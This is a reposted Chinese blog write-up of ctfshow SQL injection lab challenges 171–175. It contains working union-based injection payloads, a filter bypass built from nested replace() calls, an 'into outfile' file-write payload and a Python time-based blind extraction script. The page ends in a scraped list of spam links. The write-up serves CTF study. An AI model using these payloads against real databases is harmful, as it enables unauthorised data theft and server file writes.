当前位置: 首页 > wzjs >正文

软件开发接单网站长沙网站建设 599

软件开发接单网站,长沙网站建设 599,网站 新媒体建设情况,东莞音乐制作公司sql简介 web入门171 ——判断注入点: -1 union select 1,2,3 -- 其实在这之前可以先判断多少列,即 -1‘ group(order) by 3 -- group by用于将具有相同值的行分组成一个汇总行,可以查看是否报错确定列数 2&#x…

sql简介

web入门171

——判断注入点:

-1' union select 1,2,3 --+

其实在这之前可以先判断多少列,即 -1‘ group(order) by 3 --+

group by用于将具有相同值的行分组成一个汇总行,可以查看是否报错确定列数

2,3列都有回显

——查询库名:

-1'union select 1,database(),3 --+

——查询表名:

1' union select 1,6,group_concat(table_name) from information_schema.tables where table_schema=database() --+(这里把查询位放在第二位查不出来)

GROUP_CONCAT 是 MySQL 中的一个聚合函数,它用于将属于同一组的字符串连接起来,形成一个单一的字符串

table_name就是表名

information_schema.tables 是 MySQL 数据库系统中的一个系统视图,属于 information_schema 数据库。这个数据库提供了对数据库元数据(即关于数据库的数据,如表、列、索引等的信息)的访问。tables 表(或视图)具体包含了当前用户可访问的所有数据库中的表的相关信息

phpstudy中mysql界面:

table_schema:就是库名

——查询列名:

1' union select 1,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

column_name:列名

——查询password:

-1' union select 1,6,group_concat(password) from ctfshow_user --+

发现flag

web入门172

这里有两个表,那我就先看第二个

首先1' order by 2 --+判断出有两位

找回显位:

库名:

表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

有两个表

列名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

两个都是这个

flag:

-1' union select 1,group_concat(password) from ctfshow_user2--+

web入门173

老样子,确定字段数

查回显

库:

表:-1' union select 4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+

列:

password:-1' union select group_concat(password) from ctfshow_user3--+

看了其他师傅的,发现这题是过滤了flag

即如果:-1' union select id,username,password from ctfshow_user3 where username='flag' -- +的话

无数据,所以我们直接:-1' union select 4,5,password from ctfshow_user3 where username='flag' -- +

web入门174

注:查看url的时候发现是3.php,其实是4.php,手动切换

这题使过滤了数字和flag

库名还是ctfshow_web

然后要查的话因该就有数字了,我们把数字做替换

因为flag的范围刚好是1~f,即16进制的范围,那我们就可以把1~0替换成A~J

查表名:

原:0' union select group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

后:0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from information_schema.tables where table_schema=database()--+

表为ctfshow——user4

查查列名呢

password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(password),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from ctfshow_user4--+

然后替换就好了

tihuan = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}text ="ctfshow{eFEcbfGC-GfGA-DcfA-bICa-DFBDaJCbFeDH}"for i in text:if i in tihuan:print(tihuan[i],end='')else:print(i,end='')

web入门175

这题没看到回显位

试试时间盲注

经过测试发现:确实可以这么干

两种思路吧,

第一个:

是ngnix,在Liunx中/var/www/html是网站的默认文件位置,尝试直接写入文件

1' union select 1,database() into outfile'/var/www/html/1.txt'--+

访问1.txt

发现ok,那根据前几题的规律

1' union select 1,password from ctfshow_user5 where username='flag'into outfile'/var/www/html/2.txt'--+

或者我们可以利用时间盲注:

在1' and sleep(3)--+时

注意到出现

所以脚本上的url要写/api/v5.php,不能写原来网站的那个

(最好还要加上?page=1&limilt=10,不过没加也能出来)

脚本:

import requests
import stringurl = 'http://74760dc9-88e6-40f9-8a05-1319d3b9e33a.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'#匹配的字典
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&" # 猜数据库名# payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名# payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名# payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜列名payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜flag#substr(string, start_position, length)#第二个参数为起始位置,第三个参数为长度#如果匹配成功,就sleep(3)# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k,end='')a = 0 #如果找到字符,则将标志位置0out += kbreak #继续遍历下一位if a == 1: #在进行下一次循环前,先判断当前字符是否找到break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)


文章转载自:

http://6K70kJ6n.xphcg.cn
http://3FA5gz80.xphcg.cn
http://SCMdhUsL.xphcg.cn
http://RXRJqzsd.xphcg.cn
http://HdQ2hmri.xphcg.cn
http://xgTNV0S6.xphcg.cn
http://yE2k3b8J.xphcg.cn
http://WykxGxOv.xphcg.cn
http://D2ajaSMt.xphcg.cn
http://HCO9iaHh.xphcg.cn
http://QELGTu7u.xphcg.cn
http://YzwmotHl.xphcg.cn
http://WdqE7h4Y.xphcg.cn
http://7xYTqUXK.xphcg.cn
http://GgXOwJSc.xphcg.cn
http://KRwK7CFj.xphcg.cn
http://SVWJ3lP4.xphcg.cn
http://JuXzD0lv.xphcg.cn
http://ULGmBif1.xphcg.cn
http://PhuNnlFl.xphcg.cn
http://wtNMpxpv.xphcg.cn
http://HIosA5Ou.xphcg.cn
http://b64785mb.xphcg.cn
http://F0p973E1.xphcg.cn
http://vJtvkLzM.xphcg.cn
http://8qE0Fm8h.xphcg.cn
http://4LeWLH13.xphcg.cn
http://Noz9bNDI.xphcg.cn
http://bdGZf2n0.xphcg.cn
http://x7Sy8w4q.xphcg.cn
http://www.dtcms.com/wzjs/618058.html

相关文章:

  • 响应式网站示例用户体验设计专业
  • 杭州平台网站建设如何查询一个网站的注册信息
  • 国内html5网站案例网络营销的推广文案
  • 网站模板 实验室jsp网站源码 怎么用
  • 网站开发工程师需要会写什么常州网站建设 最易
  • 微网站难做么国内网站备案流程图
  • 上海交通大学网站建设与管理3微信开发者工具打不开
  • 网站新闻后台怎么做站酷高高手
  • 深圳市网站建设外包公司后端和前端哪个是青春饭
  • 四川微信网站建设去哪里找做网站的
  • 如何弄一个自己的网站qq交流群怎么升级会员
  • 云南网站做的好的公司哪家好如何查询网站哪个公司做的
  • 福州模板建站代理wordpress安装完成后卸载
  • 村志网站建设网站制作服务合同
  • 威海网站建设公司哪家好长沙seo研究中心
  • 语文建设 官方网站国家信用信息系统
  • 江苏荣邦建设有限公司网站陕西省私募基金协会
  • 那些网站做推广cms网站建设有多少条数据
  • 云南专业网站建站建设wordpress新用户权限
  • 建设部网站如何下载文件宁波网站建设 首选智尚网络
  • 潍坊视频类网站建设河源网站设计怎么做
  • 网站 工商备案网络营销课程个人总结范文
  • 还有什么类似建设通的网站wordpress 读取数据的地方
  • 有没有个人做试卷网站的公司内部管理系统软件
  • 免费下载ppt模板网站有哪些渭南网站建设wifi
  • 企业网站开发价wordpress ajax
  • 企业网站如何设置关键词怎么搭建自己的博客
  • 西安大网站建设公司排名企业cms建站系统
  • 2017网站开发薪资铭坐网站建设
  • 网站建设主要职责推荐常州微信网站建设